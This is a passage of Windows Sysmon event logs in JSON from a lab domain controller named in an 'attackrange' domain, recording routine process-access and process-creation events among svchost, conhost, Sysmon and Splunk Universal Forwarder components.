11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.734\r\nSourceProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nSourceProcessId: 3720\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.734","SourceProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","SourceProcessId":"3720","SourceThreadId":"3692","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.270\r\nProcessGuid: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nProcessId: 3736\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.270","ProcessGuid":"{90617006-3FED-5F2D-0000-00102F6C0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 